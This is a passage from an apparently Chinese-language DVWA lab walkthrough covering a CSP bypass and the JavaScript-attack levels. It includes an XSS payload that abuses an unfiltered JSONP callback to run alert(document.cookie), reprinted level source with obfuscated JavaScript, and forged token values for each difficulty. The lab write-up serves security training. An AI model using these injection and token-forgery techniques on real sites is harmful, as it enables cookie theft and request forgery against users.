>> 访问 http://dvwa/vulnerabilities/csp/source/jsonp.php?callback=solveSum
得到 solveSum({"answer":"15"})
>> 最后会调用 JS 的 solveSum
函数将结果输出到网页中。 >> 暴露的callback
参数未做过滤,完全可做操作,可直接构造 jsonp.php?callback=alert(document.cookie)
若此构造被执行就能触发弹框。
漏洞利用
由于 POST 提交的 include
参数直接放到了 body 源码中,可直接改 indlude
进行弹框,使用 hackbar 修改 Post data 即可弹出。
include=<script src=source/jsonp.php?callback=alert(document.cookie)></script>
Impossible
源码
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/impossible.js"></script>
';
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp_impossible.php";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
指定只能输出 solveSum
意味着只能回调 JS 里的 solveSum
函数
JavaScript (JavaScript Attacks,JS 攻击)
Low
源码
<?php
$page[ 'body' ] .= <<<EOF
<script>
/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);
function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token();
</script>
EOF;
?>
主要生成了一个 token
通过 JS 在浏览器端生成, 由 md5(rot13(phrase))
漏洞利用
直接在浏览器控制台(Console) 调用函数计算出 token
值, md5(rot13(success));
>> 38581812b435834ebf84ebcc2c6424d6
>> 使用 Hackbar 修改 Post data :token=38581812b435834ebf84ebcc2c6424d6&phrase=success&send=Submit
>> Well done!
Medium
源码
<?php
$page[ 'body' ] .= <<<EOF
<script src="/vulnerabilities/javascript/source/medium.js"></script>
EOF;
?>
function do_something(e){for(var t="",n=e.length-1;n>=0;n--)t+=e[n];return t}setTimeout(function(){do_elsesomething("XX")},300);function do_elsesomething(e){document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")}
通过源码可知 phrase
逆序输出,然后在前后分别添加 XX
作为规律 >> 默认的 ChangeMe
的 token : <input type="hidden" name="token" value="XXeMegnahCXX" id="token">
>> success
的 token 应该是 XXsseccusXX
漏洞利用
利用 hackbar 修改 Post data: token=XXsseccusXX&phrase=success&send=Submit
High
源码
<?php
$page[ 'body' ] .= <<<EOF
<script src="/vulnerabilities/javascript/source/high.js"></script>
EOF;
?>
var a=['fromCharCode','toString','replace','BeJ','\x5cw+','Lyg','SuR','(w(){\x273M\x203L\x27;q\x201l=\x273K\x203I\x203J\x20T\x27;q\x201R=1c\x202I===\x271n\x27;q\x20Y=1R?2I:{};p(Y.3N){1R=1O}q\x202L=!1R&&1c\x202M===\x271n\x27;q\x202o=!Y.2S&&1c\x202d===\x271n\x27&&2d.2Q&&2d.2Q.3S;p(2o){Y=3R}z\x20p(2L){Y=2M}q\x202G=!Y.3Q&&1c\x202g===\x271n\x27&&2g.X;q\x202s=1c\x202l===\x27w\x27&&2l.3P;q\x201y=!Y.3H&&1c\x20Z!==\x272T\x27;q\x20m=\x273G\x27.3z(\x27\x27);q\x202w=[-3y,3x,3v,3w];q\x20U=[24,16,8,0];q\x20K=[3A,3B,3F,3E,3D,3C,3T,3U,4d,4c,4b,49,4a,4e,4f,4j,4i,4h,3u,48,47,3Z,3Y,3X,3V,3W,40,41,46,45,43,42,4k,3f,38,36,39,37,34,33,2Y,31,2Z,35,3t,3n,3m,3l,3o,3p,3s,3r,3q,3k,3j,3d,3a,3c,3b,3e,3h,3g,3i,4g];q\x201E=[\x271e\x27,\x2727\x27,\x271G\x27,\x272R\x27];q\x20l=[];p(Y.2S||!1z.1K){1z.1K=w(1x){A\x204C.Q.2U.1I(1x)===\x27[1n\x201z]\x27}}p(1y&&(Y.50||!Z.1N)){Z.1N=w(1x){A\x201c\x201x===\x271n\x27&&1x.1w&&1x.1w.1J===Z}}q\x202m=w(1X,x){A\x20w(s){A\x20O\x20N(x,1d).S(s)[1X]()}};q\x202a=w(x){q\x20P=2m(\x271e\x27,x);p(2o){P=2P(P,x)}P.1T=w(){A\x20O\x20N(x)};P.S=w(s){A\x20P.1T().S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2m(T,x)}A\x20P};q\x202P=w(P,x){q\x201S=2O(\x222N(\x271S\x27)\x22);q\x201Y=2O(\x222N(\x271w\x27).1Y\x22);q\x202n=x?\x271H\x27:\x271q\x27;q\x202z=w(s){p(1c\x20s===\x272p\x27){A\x201S.2x(2n).S(s,\x274S\x27).1G(\x271e\x27)}z{p(s===2q||s===2T){1u\x20O\x201t(1l)}z\x20p(s.1J===Z){s=O\x202r(s)}}p(1z.1K(s)||Z.1N(s)||s.1J===1Y){A\x201S.2x(2n).S(O\x201Y(s)).1G(\x271e\x27)}z{A\x20P(s)}};A\x202z};q\x202k=w(1X,x){A\x20w(G,s){A\x20O\x201P(G,x,1d).S(s)[1X]()}};q\x202f=w(x){q\x20P=2k(\x271e\x27,x);P.1T=w(G){A\x20O\x201P(G,x)};P.S=w(G,s){A\x20P.1T(G).S(s)};1g(q\x20i=0;i<1E.W;++i){q\x20T=1E[i];P[T]=2k(T,x)}A\x20P};w\x20N(x,1v){p(1v){l[0]=l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0;k.l=l}z{k.l=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}p(x){k.C=4I;k.B=4H;k.E=4l;k.F=4U;k.J=4J;k.I=4K;k.H=4L;k.D=4T}z{k.C=4X;k.B=4W;k.E=4Y;k.F=4Z;k.J=4V;k.I=4O;k.H=4F;k.D=4s}k.1C=k.1A=k.L=k.2i=0;k.1U=k.1L=1O;k.2j=1d;k.x=x}N.Q.S=w(s){p(k.1U){A}q\x202h,T=1c\x20s;p(T!==\x272p\x27){p(T===\x271n\x27){p(s===2q){1u\x20O\x201t(1l)}z\x20p(1y&&s.1J===Z){s=O\x202r(s)}z\x20p(!1z.1K(s)){p(!1y||!Z.1N(s)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}2h=1d}q\x20r,M=0,i,W=s.W,l=k.l;4t(M<W){p(k.1L){k.1L=1O;l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}p(2h){1g(i=k.1A;M<W&&i<1k;++M){l[i>>2]|=s[M]<<U[i++&3]}}z{1g(i=k.1A;M<W&&i<1k;++M){r=s.1Q(M);p(r<R){l[i>>2]|=r<<U[i++&3]}z\x20p(r<2v){l[i>>2]|=(2t|(r>>6))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z\x20p(r<2A||r>=2E){l[i>>2]|=(2D|(r>>12))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}z{r=2C+(((r&23)<<10)|(s.1Q(++M)&23));l[i>>2]|=(2X|(r>>18))<<U[i++&3];l[i>>2]|=(R|((r>>12)&V))<<U[i++&3];l[i>>2]|=(R|((r>>6)&V))<<U[i++&3];l[i>>2]|=(R|(r&V))<<U[i++&3]}}}k.2u=i;k.L+=i-k.1A;p(i>=1k){k.1C=l[16];k.1A=i-1k;k.1W();k.1L=1d}z{k.1A=i}}p(k.L>4r){k.2i+=k.L/2H<<0;k.L=k.L%2H}A\x20k};N.Q.1s=w(){p(k.1U){A}k.1U=1d;q\x20l=k.l,i=k.2u;l[16]=k.1C;l[i>>2]|=2w[i&3];k.1C=l[16];p(i>=4q){p(!k.1L){k.1W()}l[0]=k.1C;l[16]=l[1]=l[2]=l[3]=l[4]=l[5]=l[6]=l[7]=l[8]=l[9]=l[10]=l[11]=l[12]=l[13]=l[14]=l[15]=0}l[14]=k.2i<<3|k.L>>>29;l[15]=k.L<<3;k.1W()};N.Q.1W=w(){q\x20a=k.C,b=k.B,c=k.E,d=k.F,e=k.J,f=k.I,g=k.H,h=k.D,l=k.l,j,1a,1b,1j,v,1f,1h,1B,1Z,1V,1D;1g(j=16;j<1k;++j){v=l[j-15];1a=((v>>>7)|(v<<25))^((v>>>18)|(v<<14))^(v>>>3);v=l[j-2];1b=((v>>>17)|(v<<15))^((v>>>19)|(v<<13))^(v>>>10);l[j]=l[j-16]+1a+l[j-7]+1b<<0}1D=b&c;1g(j=0;j<1k;j+=4){p(k.2j){p(k.x){1B=4m;v=l[0]-4n;h=v-4o<<0;d=v+4p<<0}z{1B=4v;v=l[0]-4w;h=v-4G<<0;d=v+4D<<0}k.2j=1O}z{1a=((a>>>2)|(a<<30))^((a>>>13)|(a<<19))^((a>>>22)|(a<<10));1b=((e>>>6)|(e<<26))^((e>>>11)|(e<<21))^((e>>>25)|(e<<7));1B=a&b;1j=1B^(a&c)^1D;1h=(e&f)^(~e&g);v=h+1b+1h+K[j]+l[j];1f=1a+1j;h=d+v<<0;d=v+1f<<0}1a=((d>>>2)|(d<<30))^((d>>>13)|(d<<19))^((d>>>22)|(d<<10));1b=((h>>>6)|(h<<26))^((h>>>11)|(h<<21))^((h>>>25)|(h<<7));1Z=d&a;1j=1Z^(d&b)^1B;1h=(h&e)^(~h&f);v=g+1b+1h+K[j+1]+l[j+1];1f=1a+1j;g=c+v<<0;c=v+1f<<0;1a=((c>>>2)|(c<<30))^((c>>>13)|(c<<19))^((c>>>22)|(c<<10));1b=((g>>>6)|(g<<26))^((g>>>11)|(g<<21))^((g>>>25)|(g<<7));1V=c&d;1j=1V^(c&a)^1Z;1h=(g&h)^(~g&e);v=f+1b+1h+K[j+2]+l[j+2];1f=1a+1j;f=b+v<<0;b=v+1f<<0;1a=((b>>>2)|(b<<30))^((b>>>13)|(b<<19))^((b>>>22)|(b<<10));1b=((f>>>6)|(f<<26))^((f>>>11)|(f<<21))^((f>>>25)|(f<<7));1D=b&c;1j=1D^(b&d)^1V;1h=(f&g)^(~f&h);v=e+1b+1h+K[j+3]+l[j+3];1f=1a+1j;e=a+v<<0;a=v+1f<<0}k.C=k.C+a<<0;k.B=k.B+b<<0;k.E=k.E+c<<0;k.F=k.F+d<<0;k.J=k.J+e<<0;k.I=k.I+f<<0;k.H=k.H+g<<0;k.D=k.D+h<<0};N.Q.1e=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x201e=m[(C>>28)&o]+m[(C>>24)&o]+m[(C>>20)&o]+m[(C>>16)&o]+m[(C>>12)&o]+m[(C>>8)&o]+m[(C>>4)&o]+m[C&o]+m[(B>>28)&o]+m[(B>>24)&o]+m[(B>>20)&o]+m[(B>>16)&o]+m[(B>>12)&o]+m[(B>>8)&o]+m[(B>>4)&o]+m[B&o]+m[(E>>28)&o]+m[(E>>24)&o]+m[(E>>20)&o]+m[(E>>16)&o]+m[(E>>12)&o]+m[(E>>8)&o]+m[(E>>4)&o]+m[E&o]+m[(F>>28)&o]+m[(F>>24)&o]+m[(F>>20)&o]+m[(F>>16)&o]+m[(F>>12)&o]+m[(F>>8)&o]+m[(F>>4)&o]+m[F&o]+m[(J>>28)&o]+m[(J>>24)&o]+m[(J>>20)&o]+m[(J>>16)&o]+m[(J>>12)&o]+m[(J>>8)&o]+m[(J>>4)&o]+m[J&o]+m[(I>>28)&o]+m[(I>>24)&o]+m[(I>>20)&o]+m[(I>>16)&o]+m[(I>>12)&o]+m[(I>>8)&o]+m[(I>>4)&o]+m[I&o]+m[(H>>28)&o]+m[(H>>24)&o]+m[(H>>20)&o]+m[(H>>16)&o]+m[(H>>12)&o]+m[(H>>8)&o]+m[(H>>4)&o]+m[H&o];p(!k.x){1e+=m[(D>>28)&o]+m[(D>>24)&o]+m[(D>>20)&o]+m[(D>>16)&o]+m[(D>>12)&o]+m[(D>>8)&o]+m[(D>>4)&o]+m[D&o]}A\x201e};N.Q.2U=N.Q.1e;N.Q.1G=w(){k.1s();q\x20C=k.C,B=k.B,E=k.E,F=k.F,J=k.J,I=k.I,H=k.H,D=k.D;q\x202b=[(C>>24)&u,(C>>16)&u,(C>>8)&u,C&u,(B>>24)&u,(B>>16)&u,(B>>8)&u,B&u,(E>>24)&u,(E>>16)&u,(E>>8)&u,E&u,(F>>24)&u,(F>>16)&u,(F>>8)&u,F&u,(J>>24)&u,(J>>16)&u,(J>>8)&u,J&u,(I>>24)&u,(I>>16)&u,(I>>8)&u,I&u,(H>>24)&u,(H>>16)&u,(H>>8)&u,H&u];p(!k.x){2b.4A((D>>24)&u,(D>>16)&u,(D>>8)&u,D&u)}A\x202b};N.Q.27=N.Q.1G;N.Q.2R=w(){k.1s();q\x201w=O\x20Z(k.x?28:32);q\x201i=O\x204x(1w);1i.1p(0,k.C);1i.1p(4,k.B);1i.1p(8,k.E);1i.1p(12,k.F);1i.1p(16,k.J);1i.1p(20,k.I);1i.1p(24,k.H);p(!k.x){1i.1p(28,k.D)}A\x201w};w\x201P(G,x,1v){q\x20i,T=1c\x20G;p(T===\x272p\x27){q\x20L=[],W=G.W,M=0,r;1g(i=0;i<W;++i){r=G.1Q(i);p(r<R){L[M++]=r}z\x20p(r<2v){L[M++]=(2t|(r>>6));L[M++]=(R|(r&V))}z\x20p(r<2A||r>=2E){L[M++]=(2D|(r>>12));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}z{r=2C+(((r&23)<<10)|(G.1Q(++i)&23));L[M++]=(2X|(r>>18));L[M++]=(R|((r>>12)&V));L[M++]=(R|((r>>6)&V));L[M++]=(R|(r&V))}}G=L}z{p(T===\x271n\x27){p(G===2q){1u\x20O\x201t(1l)}z\x20p(1y&&G.1J===Z){G=O\x202r(G)}z\x20p(!1z.1K(G)){p(!1y||!Z.1N(G)){1u\x20O\x201t(1l)}}}z{1u\x20O\x201t(1l)}}p(G.W>1k){G=(O\x20N(x,1d)).S(G).27()}q\x201F=[],2e=[];1g(i=0;i<1k;++i){q\x20b=G[i]||0;1F[i]=4z^b;2e[i]=4y^b}N.1I(k,x,1v);k.S(2e);k.1F=1F;k.2c=1d;k.1v=1v}1P.Q=O\x20N();1P.Q.1s=w(){N.Q.1s.1I(k);p(k.2c){k.2c=1O;q\x202W=k.27();N.1I(k,k.x,k.1v);k.S(k.1F);k.S(2W);N.Q.1s.1I(k)}};q\x20X=2a();X.1q=X;X.1H=2a(1d);X.1q.2V=2f();X.1H.2V=2f(1d);p(2G){2g.X=X}z{Y.1q=X.1q;Y.1H=X.1H;p(2s){2l(w(){A\x20X})}}})();w\x202y(e){1g(q\x20t=\x22\x22,n=e.W-1;n>=0;n--)t+=e[n];A\x20t}w\x202J(t,y=\x224B\x22){1m.1o(\x221M\x22).1r=1q(1m.1o(\x221M\x22).1r+y)}w\x202B(e=\x224E\x22){1m.1o(\x221M\x22).1r=1q(e+1m.1o(\x221M\x22).1r)}w\x202K(a,b){1m.1o(\x221M\x22).1r=2y(1m.1o(\x222F\x22).1r)}1m.1o(\x222F\x22).1r=\x22\x22;4u(w(){2B(\x224M\x22)},4N);1m.1o(\x224P\x22).4Q(\x224R\x22,2J);2K(\x223O\x22,44);','||||||||||||||||||||this|blocks|HEX_CHARS||0x0F|if|var|code|message||0xFF|t1|function|is224||else|return|h1|h0|h7|h2|h3|key|h6|h5|h4||bytes|index|Sha256|new|method|prototype|0x80|update|type|SHIFT|0x3f|length|exports|root|ArrayBuffer|||||||||||s0|s1|typeof|true|hex|t2|for|ch|dataView|maj|64|ERROR|document|object|getElementById|setUint32|sha256|value|finalize|Error|throw|sharedMemory|buffer|obj|ARRAY_BUFFER|Array|start|ab|block|bc|OUTPUT_TYPES|oKeyPad|digest|sha224|call|constructor|isArray|hashed|token|isView|false|HmacSha256|charCodeAt|WINDOW|crypto|create|finalized|cd|hash|outputType|Buffer|da||||0x3ff||||array|||createMethod|arr|inner|process|iKeyPad|createHmacMethod|module|notString|hBytes|first|createHmacOutputMethod|define|createOutputMethod|algorithm|NODE_JS|string|null|Uint8Array|AMD|0xc0|lastByteIndex|0x800|EXTRA|createHash|do_something|nodeMethod|0xd800|token_part_2|0x10000|0xe0|0xe000|phrase|COMMON_JS|4294967296|window|token_part_3|token_part_1|WEB_WORKER|self|require|eval|nodeWrap|versions|arrayBuffer|JS_SHA256_NO_NODE_JS|undefined|toString|hmac|innerHash|0xf0|0xa2bfe8a1|0xc24b8b70||0xa81a664b||0x92722c85|0x81c2c92e|0xc76c51a3|0x53380d13|0x766a0abb|0x4d2c6dfc|0x650a7354|0x748f82ee|0x84c87814|0x78a5636f|0x682e6ff3|0x8cc70208|0x2e1b2138|0xa4506ceb|0x90befffa|0xbef9a3f7|0x5b9cca4f|0x4ed8aa4a|0x106aa070|0xf40e3585|0xd6990624|0x19a4c116|0x1e376c08|0x391c0cb3|0x34b0bcb5|0x2748774c|0xd192e819|0x0fc19dc6|32768|128|8388608|2147483648|split|0x428a2f98|0x71374491|0x59f111f1|0x3956c25b|0xe9b5dba5|0xb5c0fbcf|0123456789abcdef|JS_SHA256_NO_ARRAY_BUFFER|is|invalid|input|strict|use|JS_SHA256_NO_WINDOW|ABCD|amd|JS_SHA256_NO_COMMON_JS|global|node|0x923f82a4|0xab1c5ed5|0x983e5152|0xa831c66d|0x76f988da|0x5cb0a9dc|0x4a7484aa|0xb00327c8|0xbf597fc7|0x14292967|0x06ca6351||0xd5a79147|0xc6e00bf3|0x2de92c6f|0x240ca1cc|0x550c7dc3|0x72be5d74|0x243185be|0x12835b01|0xd807aa98|0x80deb1fe|0x9bdc06a7|0xc67178f2|0xefbe4786|0xe49b69c1|0xc19bf174|0x27b70a85|0x3070dd17|300032|1413257819|150054599|24177077|56|4294967295|0x5be0cd19|while|setTimeout|704751109|210244248|DataView|0x36|0x5c|push|ZZ|Object|143694565|YY|0x1f83d9ab|1521486534|0x367cd507|0xc1059ed8|0xffc00b31|0x68581511|0x64f98fa7|XX|300|0x9b05688c|send|addEventListener|click|utf8|0xbefa4fa4|0xf70e5939|0x510e527f|0xbb67ae85|0x6a09e667|0x3c6ef372|0xa54ff53a|JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW','split'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};eval(function(d,e,f,g,h,i){h=function(j){return(j<e?'':h(parseInt(j/e)))+((j=j%e)>0x23?String[b('0x0')](j+0x1d):j[b('0x1')](0x24));};if(!''[b('0x2')](/^/,String)){while(f--){i[h(f)]=g[f]||h(f);}g=[function(k){if('wpA'!==b('0x3')){return i[k];}else{while(f--){i[k(f)]=g[f]||k(f);}g=[function(l){return i[l];}];k=function(){return b('0x4');};f=0x1;}}];h=function(){return b('0x4');};f=0x1;};while(f--){if(g[f]){if(b('0x5')===b('0x6')){return i[h];}else{d=d[b('0x2')](new RegExp('\x5cb'+h(f)+'\x5cb','g'),g[f]);}}}return d;}(b('0x7'),0x3e,0x137,b('0x8')[b('0x9')]('|'),0x0,{}));
high.js
代码明显被混淆了,使用工具解码 得到有用代码:
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
生成 token
的步骤是: token_part_1("ABCD",44)
>> token_part_2("XX")
>> token_part_3
漏洞利用
在输入框输入 success
后到控制台输入 token_part_1("ABCD",44)
和 token_part_2("XX")
两个函数即可。
Impossible
永远不要相信用户提交的信息,所以没有不可能级别。